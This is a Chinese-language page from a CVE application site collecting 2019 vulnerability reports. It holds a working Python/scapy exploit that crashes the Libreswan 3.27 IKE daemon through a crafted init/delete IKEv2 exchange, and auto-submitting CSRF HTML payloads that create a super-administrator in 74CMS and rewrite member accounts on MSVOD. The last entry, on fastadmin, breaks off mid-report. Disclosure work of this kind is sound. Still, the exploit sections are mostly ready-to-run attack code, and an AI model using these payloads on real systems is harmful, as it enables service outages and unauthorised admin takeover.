CVE中文申请站

CVE-2019-申请中:NULL pointer dereference and IKE pluto daemon restart in Libreswan 3.27

一、漏洞摘要

漏洞名称: NULL pointer dereference and IKE pluto daemon restart in Libreswan 3.27
上报日期: 2019-05-12
漏洞发现者: Guo Jiaxing
产品首页: https://libreswan.org
软件链接: https://github.com/libreswan/libreswan
版本: 3.27
CVE编号: CVE-2019-申请中


二、漏洞概述

通过向Libreswan服务发送两个3des_cbc模式的IKEv2数据包(init_IKE和delete_IKE),会引发pluto IKE守护进程重启。
首先,将第一个init_IKE消息发送到服务器。
服务器将init_IKE消息回复给客户端。
然后将delete_IKE消息(加密)发送到服务器。
服务器尝试向客户端响应INVALID_IKE_SPI,但在准备加密消息时发生异常。
1.png
漏洞触发、相关日志和配置信息如下:
日志如下:

May  7 16:32:32.868480: | state #1 requesting EVENT_CRYPTO_TIMEOUT to be deleted
May  7 16:32:32.868496: | free_event_entry: release EVENT_CRYPTO_TIMEOUT-pe@0x55f4dc4630f8
May  7 16:32:32.868501: | event_schedule: new EVENT_v2_RESPONDER_TIMEOUT-pe@0x55f4dc4630f8
May  7 16:32:32.868506: | inserting event EVENT_v2_RESPONDER_TIMEOUT, timeout in 200.000 seconds for #1
May  7 16:32:32.868515: | processing: stop state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in schedule_event_now_cb() at server.c:561)
May  7 16:32:32.868519: | serialno table: hash serialno #0 to head 0x55f4db2fb4e0
May  7 16:32:32.868522: | serialno table: hash serialno #0 to head 0x55f4db2fb4e0
May  7 16:32:32.883707: | *received 68 bytes from 192.168.40.1:4500 on ens33 (port=4500)
May  7 16:32:32.883740: |   34 ba 3b f6  d8 8c 17 ef  c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883743: |   2e 20 25 08  00 00 00 01  00 00 00 44  2a 00 00 28
May  7 16:32:32.883745: |   3d 21 87 9c  40 0e 58 e5  a1 df c6 c9  a2 26 f8 f5
May  7 16:32:32.883766: |   c7 0f 53 75  d7 a0 df c4  6e 5a 1a 99  55 02 59 5f
May  7 16:32:32.883769: |   ad c5 55 41
May  7 16:32:32.883773: | processing: start from 192.168.40.1:4500 (in process_md() at demux.c:391)
May  7 16:32:32.883778: | **parse ISAKMP Message:
May  7 16:32:32.883780: |    initiator cookie:
May  7 16:32:32.883782: |   34 ba 3b f6  d8 8c 17 ef
May  7 16:32:32.883785: |    responder cookie:
May  7 16:32:32.883786: |   c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883789: |    next payload type: ISAKMP_NEXT_v2SK (0x2e)
May  7 16:32:32.883792: |    ISAKMP version: IKEv2 version 2.0 (rfc4306/rfc5996) (0x20)
May  7 16:32:32.883794: |    exchange type: ISAKMP_v2_INFORMATIONAL (0x25)
May  7 16:32:32.883796: |    flags: ISAKMP_FLAG_v2_IKE_INIT (0x8)
May  7 16:32:32.883799: |    message ID:  00 00 00 01
May  7 16:32:32.883801: |    length: 68 (0x44)
May  7 16:32:32.883804: |  processing version=2.0 packet with exchange type=ISAKMP_v2_INFORMATIONAL (37)
May  7 16:32:32.883806: | I am receiving an IKEv2 Request ISAKMP_v2_INFORMATIONAL
May  7 16:32:32.883808: | I am the IKE SA Original Responder
May  7 16:32:32.883814: | cookies table: hash icookie 34 ba 3b f6  d8 8c 17 ef rcookie c6 e1 11 69  1d 5e 18 44 to 3873113480610546027 slot 0x55f4db2f6b40
May  7 16:32:32.883817: | parent v2 peer and cookies match on #1
May  7 16:32:32.883820: | v2 state object #1 found, in STATE_PARENT_R1
May  7 16:32:32.883825: | processing: start state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in processed_retransmit() at ikev2.c:1182)
May  7 16:32:32.883827: | found state #1
May  7 16:32:32.883831: | processing: [RE]START state #1 connection "ikev2-cp"[1] 192.168.40.1 192.168.40.1:500 (in ikev2_process_packet() at ikev2.c:1552)
May  7 16:32:32.883834: | processing: start connection "ikev2-cp"[1] 192.168.40.1 (BACKGROUND) (in ikev2_process_packet() at ikev2.c:1557)
May  7 16:32:32.883837: | #1 is idle
May  7 16:32:32.883839: | #1 idle
May  7 16:32:32.883841: | #1 in state PARENT_R1: received v2I1, sent v2R1
May  7 16:32:32.883844: | selected state microcode roof
May  7 16:32:32.883846: | no useful state microcode entry found
May  7 16:32:32.883850: "ikev2-cp"[1] 192.168.40.1 #1: responding to INFORMATIONAL message (ID 1) from 192.168.40.1:500 with encrypted notification INVALID_IKE_SPI
May  7 16:32:32.883853: | Opening output PBS encrypted notification
May  7 16:32:32.883856: | **emit ISAKMP Message:
May  7 16:32:32.883858: |    initiator cookie:
May  7 16:32:32.883860: |   34 ba 3b f6  d8 8c 17 ef
May  7 16:32:32.883862: |    responder cookie:
May  7 16:32:32.883864: |   c6 e1 11 69  1d 5e 18 44
May  7 16:32:32.883866: |    next payload type: ISAKMP_NEXT_NONE (0x0)
May  7 16:32:32.883869: |    ISAKMP version: IKEv2 version 2.0 (rfc4306/rfc5996) (0x20)
May  7 16:32:32.883871: |    exchange type: ISAKMP_v2_INFORMATIONAL (0x25)
May  7 16:32:32.883873: |    flags: ISAKMP_FLAG_v2_MSG_RESPONSE (0x20)
May  7 16:32:32.883875: |    message ID:  00 00 00 01
May  7 16:32:32.883878: | next payload type: saving message location 'ISAKMP Message'.'next payload type'
May  7 16:32:32.883881: | next payload type: setting 'ISAKMP Message'.'next payload type' to IKEv2 Encryption Payload (46:ISAKMP_NEXT_v2SK)
May  7 16:32:32.883884: | ***emit IKEv2 Encryption Payload:
May  7 16:32:32.883886: |    next payload type: ISAKMP_NEXT_v2NONE (0x0)
May  7 16:32:32.883888: |    flags: none (0x0)
May  7 16:32:32.883890: | next payload type: saving message location 'IKEv2 Encryption Payload'.'next payload type'
May  7 16:32:32.883901: | emitting 8 raw bytes of IV into IKEv2 Encryption Payload
May  7 16:32:32.883904: | IV  d1 f5 3d d9  f2 04 95 d2
May  7 16:32:32.883906: | Adding a v2N Payload
May  7 16:32:32.883909: | next payload type: setting 'IKEv2 Encryption Payload'.'next payload type' to IKEv2 Notify Payload (41:ISAKMP_NEXT_v2N)
May  7 16:32:32.883911: | ****emit IKEv2 Notify Payload:
May  7 16:32:32.883913: |    next payload type: ISAKMP_NEXT_v2NONE (0x0)
May  7 16:32:32.883915: |    flags: none (0x0)
May  7 16:32:32.883918: |    Protocol ID: PROTO_v2_RESERVED (0x0)
May  7 16:32:32.883926: |    SPI size: 0 (0x0)
May  7 16:32:32.883929: |    Notify Message Type: v2N_INVALID_IKE_SPI (0x4)
May  7 16:32:32.883931: | next payload type: saving payload location 'IKEv2 Notify Payload'.'next payload type'
May  7 16:32:32.883944: | emitting length of IKEv2 Notify Payload: 8
May  7 16:32:32.883947: | adding 8 bytes of padding (including 1 byte padding-length)
May  7 16:32:32.883949: | emitting 8 raw bytes of padding and length into IKEv2 Encryption Payload
May  7 16:32:32.883952: | padding and length  00 01 02 03  04 05 06 07
May  7 16:32:32.883955: | emitting 12 zero bytes of length of truncated HMAC/KEY into IKEv2 Encryption Payload
May  7 16:32:32.883966: | emitting length of IKEv2 Encryption Payload: 40
May  7 16:32:32.883969: | emitting length of ISAKMP Message: 68
May  7 16:32:32.883972: | construct_enc_iv: encryption IV/starting-variable: salt-size=0 wire-IV-size=8 block-size 8
May  7 16:32:32.883974: | construct_enc_iv: encryption IV/starting-variable: computed counter-size=0
May  7 16:32:32.883976: | encryption IV/starting-variable
May  7 16:32:32.883978: |   d1 f5 3d d9  f2 04 95 d2
May  7 16:32:32.883980: | data before encryption:
May  7 16:32:32.883982: |   00 00 00 08  00 00 00 04  00 01 02 03  04 05 06 07
May  7 16:32:32.883985: | NSS ike_alg_nss_cbc: 3des_cbc - enter
May  7 16:32:32.883988: "ikev2-cp"[1] 192.168.40.1 #1: ABORT: ASSERTION FAILED: 3des_cbc - NSS derived enc key in NULL (in ike_alg_nss_cbc() at ike_alg_encrypt_nss_cbc_ops.c:41)

配置文件ipsec.cof如:

version 2.0

config setup
  virtual-private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/12,%v4:!192.168.42.0/24,%v4:!192.168.43.0/24
  protostack=netkey
  interfaces=%defaultroute
  uniqueids=no
  plutodebug="all crypt"
  plutostderrlog=/var/log/libreswan.log

conn ikev2-cp
  left=%defaultroute
  leftcert=192.168.40.130
  leftid=@192.168.40.130
  leftsendcert=always
  leftsubnet=0.0.0.0/0
  leftrsasigkey=%cert
  right=%any
  rightid=%fromcert
  # rightaddresspool=192.168.43.10-192.168.43.250
  rightaddresspool=10.31.2.0-10.31.3.254
  rightca=%same
  rightrsasigkey=%cert
  narrowing=yes
  dpddelay=30
  dpdtimeout=120
  dpdaction=clear
  auto=add
  ikev2=insist
  rekey=yes
  pfs=no
  ike-frag=yes
  ike=3des-sha1;modp1024,aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=3des-sha1;modp1024,aes_gcm-null,aes128-sha1,aes256-sha1,aes128-sha2,aes256-sha2
  modecfgdns="8.8.8.8 8.8.4.4"
  encapsulation=yes
  mobike=no

conn shared
  left=%defaultroute
  leftid=218.28.144.36
  right=%any
  encapsulation=yes
  authby=secret
  pfs=no
  rekey=no
  keyingtries=5
  dpddelay=30
  dpdtimeout=120
  dpdaction=clear
  ike=aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=aes_gcm-null,aes128-sha1,aes256-sha1,aes256-sha2_512,aes128-sha2,aes256-sha2
  sha2-truncbug=yes


conn l2tp-psk
  auto=add
  leftprotoport=17/1701
  rightprotoport=17/%any
  type=transport
  phase2=esp
  also=shared


conn xauth-psk
  auto=add
  leftsubnet=0.0.0.0/0
  rightaddresspool=192.168.43.10-192.168.43.250
  modecfgdns="8.8.8.8 8.8.4.4"
  leftxauthserver=yes
  rightxauthclient=yes
  leftmodecfgserver=yes
  rightmodecfgclient=yes
  modecfgpull=yes
  xauthby=file
  ike-frag=yes
  ikev2=never
  cisco-unity=yes
  also=shared
  ike=3des-sha1;modp1024,aes256-sha2,aes128-sha2,aes256-sha1,aes128-sha1,aes256-sha2;modp1024,aes128-sha1;modp1024
  phase2alg=aes_gcm-null,aes128-sha1,aes256-sha1,aes128-sha2,aes256-sha2


三、利用代码

重现代码需要搭建Libreswan3.27服务器,之后参考ipsec.conf配置文件配置libreswan支持IKEv2下3des-cbc加密参数。
Poc用于发送数据包
运行poc后,程序向服务器发送第一个init_IKE包,之后服务器回应init_IKE报文,然后向服务器发送delete_IKE报文(非正常的报文交互)
2.png
服务器试图回应INVALID_IKE_SPI,在准备对报文进行加密时,出现异常
3.png
如果重复上述操作7次,ubuntu会禁止守护进程频繁重启,从而导致进程掉线。
4.png
5.png
exp代码如下:

#!/usr/bin/python
from __future__ import absolute_import, division, print_function
from scapy.layers.ipsec import *
from scapy.layers.inet import *
from scapy.contrib.ikev2 import *
from scapy.all import *
import os
import json
from cryptography.hazmat.primitives.asymmetric import dh
from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
from scapy.utils import long_converter
from scapy.compat import *
from scapy.config import conf, crypto_validator
from cryptography.hazmat.primitives import hashes, hmac
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes
import copy
import time
import threading
import sys
from fractions import gcd
import os
import socket
import struct
conf.use_pcap = True
localhost = "127.0.0.1"
retry_timeout = 1
srp1_timeout = 0.3
srp1_timeout_init = 0.5
retry_times = 1
srp1_verbose = 0
Init_length = 375
ip_src = "192.168.40.1"
ip_dst = "192.168.40.130"
ether_src = "00:50:56:c0:00:08"
ether_dst = "00:0c:29:0b:f0:c5"
iface = "VMware Virtual Ethernet Adapter for VMnet8"

init_my_ikev2 = {"current": None, "old": None, "pck1": b"", "ip_byte": b""}
my_ikev2 = {"current": None, "old": None, "pck1": b"", "ip_byte": b""}


def _lcm(a, b):
    if a == 0 or b == 0:
        return 0
    else:
        return abs(a * b) // gcd(a, b)


class CryptAlgo(object):
    def __init__(self, name, cipher, mode, block_size=None, iv_size=None,
                 key_size=None, icv_size=None, salt_size=None, format_mode_iv=None):
        self.name = name
        self.cipher = cipher
        self.mode = mode
        self.icv_size = icv_size
        self.is_aead = False
        if block_size is not None:
            self.block_size = block_size
        elif cipher is not None:
            self.block_size = cipher.block_size // 8
        else:
            self.block_size = 1
        if iv_size is None:
            self.iv_size = self.block_size
        else:
            self.iv_size = iv_size
        if key_size is not None:
            self.key_size = key_size
        elif cipher is not None:
            self.key_size = tuple(i // 8 for i in cipher.key_sizes)
        else:
            self.key_size = None

    def check_key(self, key):
        if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size):
            raise TypeError('invalid key size %s, must be %s' %
                            (len(key), self.key_size))

    def generate_iv(self):
        return os.urandom(self.iv_size)

    @crypto_validator
    def new_cipher(self, key, mode_iv, digest=None):
        return Cipher(
            self.cipher(key),
            self.mode(mode_iv),
            default_backend(),
        )

    def pad(self, sk):
        data_len = len(sk) + 1
        align = _lcm(self.block_size, 4)
        padlen = -data_len % align
        padding = struct.pack("B" * padlen, *[0 for i in range(padlen)])
        payload_len = len(sk) + len(padding) + 1
        if payload_len % 4 != 0:
            raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.')

        return sk + padding + bytes([padlen])

    def encrypt(self, sa, sk, key, iv):
        data = sk

        if self.cipher:
            cipher = self.new_cipher(key, iv)
            encryptor = cipher.encryptor()
            data = encryptor.update(data) + encryptor.finalize()
            sk1 = data
        return iv + sk1

    def decrypt(self, sa, sk1, key):
        iv = sk1[:self.iv_size]
        data = sk1[self.iv_size:]
        if self.cipher:
            cipher = self.new_cipher(key, iv)
            decryptor = cipher.decryptor()
            try:
                data = decryptor.update(data) + decryptor.finalize()
            except InvalidTag as err:
                raise IPSecIntegrityError(err)
        return data[:len(data) - orb(data[-1]) - 1]


CRYPT_ALGOS = {
    'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0),
}
if algorithms:
    CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC',
                                       cipher=algorithms.AES,
                                       mode=modes.CBC)
    CRYPT_ALGOS['DES'] = CryptAlgo('DES',
                                   cipher=algorithms.TripleDES,
                                   mode=modes.CBC,
                                   key_size=(8,))
    CRYPT_ALGOS['3DES'] = CryptAlgo('3DES',
                                    cipher=algorithms.TripleDES,
                                    mode=modes.CBC)
    CRYPT_ALGOS['CAST'] = CryptAlgo('CAST',
                                    cipher=algorithms.CAST5,
                                    mode=modes.CBC)
if conf.crypto_valid:
    from cryptography.hazmat.primitives.hmac import HMAC
    from cryptography.hazmat.primitives.cmac import CMAC
    from cryptography.hazmat.primitives import hashes
else:
    HMAC = CMAC = hashes = None


class IPSecIntegrityError(Exception):
    """
    Error risen when the integrity check fails.
    """
    pass


class AuthAlgo(object):
    def __init__(self, name, mac, digestmod, icv_size, key_size=None):
        self.name = name
        self.mac = mac
        self.digestmod = digestmod
        self.icv_size = icv_size

    @crypto_validator
    def new_mac(self, key):
        return self.mac(key, self.digestmod(), default_backend())

    def sign(self, pkt, key):
        if not self.mac:
            return pkt

        mac = self.new_mac(key)
        mac.update(raw(pkt))
        pkt[IKEv2_payload_Encrypted].load += mac.finalize()[:self.icv_size]

        return pkt


AUTH_ALGOS = {
    'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0),
}

if HMAC and hashes:
    AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96',
                                          mac=HMAC,
                                          digestmod=hashes.SHA1,
                                          icv_size=12)
    AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128',
                                          mac=HMAC,
                                          digestmod=hashes.SHA256,
                                          icv_size=16)
    AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192',
                                          mac=HMAC,
                                          digestmod=hashes.SHA384,
                                          icv_size=24)
    AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256',
                                          mac=HMAC,
                                          digestmod=hashes.SHA512,
                                          icv_size=32)
    AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96',
                                         mac=HMAC,
                                         digestmod=hashes.MD5,
                                         icv_size=12)
if CMAC and algorithms:
    AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96',
                                         mac=CMAC,
                                         digestmod=algorithms.AES,
                                         icv_size=12,
                                         key_size=(16,))


class SecurityAssociation_IKE(object):
    def __init__(self, crypt_algo=None, crypt_key=None,
                 auth_algo=None, auth_key=None):

        self.crypt_algo = CRYPT_ALGOS[crypt_algo]
        self.crypt_key = crypt_key

        self.auth_algo = AUTH_ALGOS[auth_algo]
        self.auth_key = auth_key

    def _encrypt_esp(self, sk, iv=None):

        if iv is None:
            iv = self.crypt_algo.generate_iv()
        else:
            if len(iv) != self.crypt_algo.iv_size:
                raise TypeError('iv length must be %s' % self.crypt_algo.iv_size)
        sk = self.crypt_algo.pad(sk)
        # print("\\".join([hex(i) for i in list(sk)]))
        sk1 = self.crypt_algo.encrypt(self, sk, self.crypt_key, iv)
        return sk1

    def sign(self, pkt):
        return self.auth_algo.sign(pkt, self.auth_key)

    def encrypt(self, sk, iv=None):
        return self._encrypt_esp(sk, iv=iv)

    def _decrypt_esp(self, sk1):
        sk = self.crypt_algo.decrypt(self, sk1, self.crypt_key)
        return sk

    def decrypt(self, sk1):
        return self._decrypt_esp(sk1)


class esp:
    def __init__(self, esp_spi_i, esp_spi_r, esp_ei, esp_ai, esp_ni, esp_nr, esp_ip):
        self.esp_spi_i = esp_spi_i
        self.esp_spi_r = esp_spi_r
        self.esp_ei = esp_ei
        self.esp_ai = esp_ai
        self.esp_ni = esp_ni
        self.esp_nr = esp_nr
        self.id = 1
        self.esp_ip = esp_ip


class ikev2:
    def __init__(self, spi_i, spi_r, sk_ei, sk_er, sk_ai, sk_pi, sk_d, ni, nr, id=0, current_esp=None, old_esp=None):
        self.spi_i = spi_i
        self.spi_r = spi_r
        self.sk_ei = sk_ei
        self.sk_er = sk_er
        self.sk_ai = sk_ai
        self.sk_pi = sk_pi
        self.sk_d = sk_d
        self.ni = ni
        self.nr = nr
        self.id = 0
        self.current_esp = None
        self.old_esp = None

    def __str__(self):
        return "[{}:{}]".format(self.__class__.__name__, self.gatherAttrs())

    def gatherAttrs(self):
        return ",".join("{}={}\n"
                        .format(k, getattr(self, k))
                        for k in self.__dict__.keys())


g = 0x02
m = long_converter("""
FFFFFFFF FFFFFFFF C90FDAA2 2168C234 C4C6628B 80DC1CD1 29024E08
8A67CC74 020BBEA6 3B139B22 514A0879 8E3404DD EF9519B3 CD3A431B
302B0A6D F25F1437 4FE1356D 6D51C245 E485B576 625E7EC6 F44C42E9
A637ED6B 0BFF5CB6 F406B7ED EE386BFB 5A899FA5 AE9F2411 7C4B1FE6
49286651 ECE65381 FFFFFFFF FFFFFFFF""")


def my_srp1(pks, verbose, filter, timeout):
    for time in timeout:
        thread = threading.Thread(
            target=sendp,
            args=(pks, 0, 0, iface, None, None, verbose),
        )
        thread.start()
        pck = sniff(iface=iface, count=1, filter="not dst host %s and " % ip_dst + filter, timeout=time)
        thread.join()
        if len(pck) != 0:
            return pck
    return None


def send_first_pck():
    pn = dh.DHParameterNumbers(m, g)
    params = pn.parameters(default_backend())
    private_key = params.generate_private_key()
    peer_public_key = private_key.public_key()
    y = peer_public_key.public_numbers().y
    y_net = pkcs_i2osp(y, peer_public_key.key_size // 8)

    spi_i = os.urandom(8)
    ni = os.urandom(32)
    pck1 = build_first_pck(y_net, spi_i, ni)
    time.sleep(1)
    c = srp1(pck1, iface=iface, filter="udp and port 500", timeout=srp1_timeout, retry=0, verbose=srp1_verbose)
    if c is None:
        time.sleep(1)
        c = srp1(pck1, iface=iface, filter="udp and port 500", timeout=srp1_timeout_init, retry=0, verbose=srp1_verbose)
        if c is None:
            print("IKE_INIT no response")
            print("Incorrect configuration")
            sys.exit(-1)
            return -1
    print(c[0].summary())
    if len(c[0]) < 100:
        print("init_IKE fail,invalid syntax")
        sys.exit(-1)
    pck2 = c[0]
    spi_r = pck2[IKEv2].resp_SPI

    nr = pck2[IKEv2_payload_Nonce].load  # ok!
    response_peer_public_key = pkcs_os2ip(pck2[IKEv2_payload_KE].load)
    response_peer_public_numbers = dh.DHPublicNumbers(response_peer_public_key, pn)
    real_response_peer_public_key = response_peer_public_numbers.public_key(default_backend())

    shared_key_1 = private_key.exchange(real_response_peer_public_key)
    shared_key = shared_key_1[:128]
    h = hmac.HMAC(ni + nr, hashes.SHA1(), backend=default_backend())
    h.update(shared_key)
    SKEYSEED = h.finalize()
    K = SKEYSEED
    S = ni + nr + spi_i + spi_r
    T = b""
    TotalKey = b""
    count_byte = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10"
    for i in range(1, 10):
        data = T + S + count_byte[i - 1:i]
        h = hmac.HMAC(K, hashes.SHA1(), backend=default_backend())
        h.update(data)
        T = h.finalize()
        TotalKey += T
    SK_d = TotalKey[0:20]
    SK_ai = TotalKey[20:20 + 20]
    SK_ar = TotalKey[40:40 + 20]
    SK_ei = TotalKey[60:60 + 24]
    SK_er = TotalKey[84:84 + 24]
    SK_pi = TotalKey[108:108 + 20]
    SK_pr = TotalKey[128:128 + 20]
    ikev2_1 = ikev2(spi_i, spi_r, SK_ei, SK_er, SK_ai, SK_pi, SK_d, ni, nr)
    my_ikev2["current"] = ikev2_1
    my_ikev2["current"].id += 1
    my_ikev2["pck1"] = raw(pck1)
    return 1


def build_first_pck(y_net, spi_i, ni):
    a = Ether(dst=ether_dst)
    a /= IP(dst=ip_dst)
    a /= UDP(sport=500, dport=500)
    a /= IKEv2(init_SPI=spi_i, exch_type=34, flags=0x8)
    a /= IKEv2_payload_SA(next_payload=34, prop=IKEv2_payload_Proposal(trans_nb=4,
                                                                       trans=IKEv2_payload_Transform(transform_type=1,
                                                                                                     transform_id=3)
                                                                             / IKEv2_payload_Transform(
                                                                           transform_type=3,
                                                                           transform_id=2) / IKEv2_payload_Transform(
                                                                           transform_type=2,
                                                                           transform_id=2) / IKEv2_payload_Transform(
                                                                           transform_type=4, transform_id=2)))
    a /= IKEv2_payload_KE(next_payload=40, group=2, load=y_net)
    a /= IKEv2_payload_Nonce(next_payload=41,
                             load=ni)
    a /= IKEv2_payload_Notify(next_payload=41, proto=0, type=16388,
                              load=b"\x13\xfa\x01\xe7\x3c\xe4\x93\x54\xb6\xec\x88\x1d\xea\x53\x13\x4f\xad\x32\x86\x20")
    a /= IKEv2_payload_Notify(next_payload=43, proto=0, type=16389,
                              load=b"\xde\xb7\xf8\x91\xdd\x58\x28\xe6\x89\xc3\xc1\x6c\xae\x9a\x07\xb8\x6f\xb4\x13\xc3")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\x1e\x2b\x51\x69\x05\x99\x1c\x7d\x7c\x96\xfc\xbf\xb5\x87\xe4\x61\x00\x00"
                                         b"\x00\x09")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\xfb\x1d\xe3\xcd\xf3\x41\xb7\xea\x16\xb7\xe5\xbe\x08\x55\xf1\x20")
    a /= IKEv2_payload_VendorID(next_payload=43,
                                vendorID=b"\x26\x24\x4d\x38\xed\xdb\x61\xb3\x17\x2a\x36\xe3\xd0\xcf\xb8\x19")
    a /= IKEv2_payload_VendorID(next_payload=0,
                                vendorID=b"\x01\x52\x8b\xbb\xc0\x06\x96\x12\x18\x49\xab\x9a\x1c\x5b\x2a\x51\x00\x00"
                                         b"\x00\x02")

    return a


def create_encrypted_payload(b, sa, exch_type, next_payload, ikev2_1):
    spi_i = ikev2_1.spi_i
    spi_r = ikev2_1.spi_r
    id = ikev2_1.id
    SK_ai = ikev2_1.sk_ai
    sk = raw(b)
    iv = b"\x3d\x21\x87\x9c\x40\x0e\x58\xe5"
    sk1 = sa.encrypt(sk, iv=iv)
    a = IKEv2(init_SPI=spi_i, resp_SPI=spi_r, exch_type=exch_type, flags=8, id=id)
    # id += 1
    a /= IKEv2_payload_Encrypted(next_payload=next_payload,
                                 load=sk1 + struct.pack("B" * 12, *[0 for i in range(12)]))
    h = hmac.HMAC(SK_ai, hashes.SHA1(), backend=default_backend())
    h.update(raw(a)[:len(a) - 12])
    c = h.finalize()
    icv = c[:12]
    a = IKEv2(init_SPI=spi_i, resp_SPI=spi_r, exch_type=exch_type, flags=8, id=id)
    a /= IKEv2_payload_Encrypted(next_payload=next_payload,
                                 load=sk1 + icv)
    b = Ether(dst=ether_dst)
    b /= IP(dst=ip_dst, id=1, flags=0, proto=17)
    b /= UDP(sport=4500, dport=4500)
    b /= ESP(seq=struct.unpack('>I', (raw(a)[:4]))[0], data=raw(a)[4:])
    return b


def delete_current_IKE_SA():
    if my_ikev2["current"] is None:
        print("没有当前ike,不能强制删除")
        return 0
    delete_IKE_1(my_ikev2["current"])
    my_ikev2["current"].id += 1


def delete_IKE_1(ikev2_1):
    SK_ei = ikev2_1.sk_ei
    a = IKEv2_payload_Delete(vendorID=b"\x01\x00\x00\x00")
    sa = SecurityAssociation_IKE(crypt_algo='3DES',
                                 crypt_key=SK_ei,
                                 auth_algo='HMAC-SHA1-96',
                                 auth_key=b"")
    b = create_encrypted_payload(raw(a), sa, 37, 42, ikev2_1)
    sendp(b, iface=iface)


def init():
    global my_ikev2
    my_ikev2 = copy.deepcopy(init_my_ikev2)


def get_mac_dst(ip_dst):
    s = 'ping ' + ip_dst
    os.system(s)
    try:
        for line in os.popen("arp -a"):
            if line.lstrip().startswith(ip_dst):
                s1 = line.split()
                mac = s1[1].replace("-", ":")
                print(mac)
        return mac
    except:
        print("can't get mac")


def create_mac_dst():
    global ether_dst
    ether_dst = get_mac_dst(ip_dst)


def close_all():
    global my_ikev2
    my_ikev2 = copy.deepcopy(init_my_ikev2)
    return 0


if __name__ == '__main__':
    init()
    for i in range(1):
        send_first_pck()
        delete_current_IKE_SA()
    sys.exit(0)


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/218/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-申请中
github:https://github.com/libreswan/libreswan/issues/246
exploit-db:发布中

CVE-2019-11374:骑士74CMS v5.0.1后台管理页面存在CSRF漏洞

一、漏洞摘要

漏洞名称: 骑士74CMS v5.0.1后台管理页面存在CSRF漏洞
上报日期: 2019-04-14
漏洞发现者: ax8
产品首页: http://www.74cms.com/
软件链接: http://www.74cms.com/download/index.html
版本: v5.0.1
CVE编号: CVE-2019-11374


二、漏洞概述

登陆后台管理页面如下,可以添加管理员
1.png
输入信息点击添加
2.png
抓取数据包如下
3.png
测试发现其存在CSRF漏洞,管理员登陆后台管理界面后,点击hacker发来的如下链接,即可创建一个新的超级管理员用户
4.png

三、利用代码

exp代码如下:

<!--poc.html(creat a administrater)-->
<!DOCTYPE html>
<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://localhost/index.php?m=Admin&c=admin&a=add" method="POST">
      <input type="hidden" name="username" value="hacker1" />
  <input type="hidden" name="email" value="111111111@qq.com" />
      <input type="hidden" name="password" value="hacker1" />
      <input type="hidden" name="repassword" value="hacker1" />  
  <input type="hidden" name="role_id" value="1" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/203/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11374
exploit-db:发布中

CVE-2019-11375:MSVOD V10后台管理页面存在CSRF漏洞

一、漏洞摘要

漏洞名称: MSVOD V10后台管理页面存在CSRF漏洞
上报日期: 2019-04-14
漏洞发现者: ax8
产品首页: https://www.msvod.cc/
软件链接: https://www.msvodx.com/
版本: v10
CVE编号: CVE-2019-11375


二、漏洞概述

使用演示网站进行漏洞复现。如下进入模板风格-4演示站后台
1.png
进入会员管理页面
2.png
任意修改一个用户信息,抓包如下
3.png
尝试repeater发现其未对Refer字段进行检测,也没有使用token验证,存在CSRF漏洞。管理员登陆后台后,访问hacker发来的如下页面,可以实现任意修改会员账号、密码、金币、到期时间等信息。
4.png


三、利用代码

exp代码如下:

<!--poc.html(change user infomation)-->
<!DOCTYPE html>
<html>
  <head>
  <title> CSRF Proof</title>
  <script type="text/javascript">
    function exec1(){
      document.getElementById('form1').submit();
    }
  </script>
  </head>
  <body onload="exec1();">
    <form id="form1" action="http://a.msvodx.cn/admin/member/edit.html" method="POST">
      <input type="hidden" name="username" value="hacker1" />
  <input type="hidden" name="nickname" value="hacker1" />
  <input type="hidden" name="email" value="hacker1" />
  <input type="hidden" name="tel" value="hacker1" />
      <input type="hidden" name="password" value="hacker1" />
      <input type="hidden" name="out_time" value="1970-01-01" />  
  <input type="hidden" name="money" value="30" />
  <input type="hidden" name="is_permanent" value="0" />
  <input type="hidden" name="status" value="1" />
  <input type="hidden" name="id" value="821" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/198/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11375
exploit-db:发布中

CVE-2019-11077:fastadmin V1.0.0.20190111_beta存在CSRF漏洞

一、漏洞摘要

漏洞名称: fastadmin V1.0.0.20190111_beta存在CSRF漏洞
上报日期: 2019-04-08
漏洞发现者: Yu Yang
产品首页: https://www.fastadmin.net
软件链接: https://www.fastadmin.net
版本: V1.0.0.20190111_beta
CVE编号: CVE-2019-11077


二、漏洞概述

在登录管理员后台后发现可以添加管理员用户
1.png
